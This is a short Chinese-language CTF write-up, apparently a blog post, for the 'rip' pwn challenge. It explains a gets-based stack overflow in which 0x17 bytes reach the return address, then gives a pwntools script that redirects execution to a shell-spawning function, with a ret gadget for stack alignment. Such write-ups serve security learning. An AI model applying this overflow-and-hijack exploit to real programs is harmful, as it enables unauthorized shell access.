rip

题目链接:rip

IDA 打开附件,进入到 main 函数,反编译后如下。

留意到存在 gets 函数,因此存在栈溢出漏洞,经过动态调试,确定在输入 0x17 个字符后,即可覆盖到返回地址。

同时,留意到存在 fun 函数,如下。

因此,直接将程序执行流劫持到 fun 函数,即可 GetShell(此处需要注意堆栈平衡)。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    # 0x0000000000401185 retn;
    sla("please input\n", 0x17 * b'a' + p64(0x0000000000401185) + p64(0x0000000000401186))
    irt()

pwn()
posted @ 2024-11-11 00:20  imtaieee  阅读(4)  评论(0编辑  收藏  举报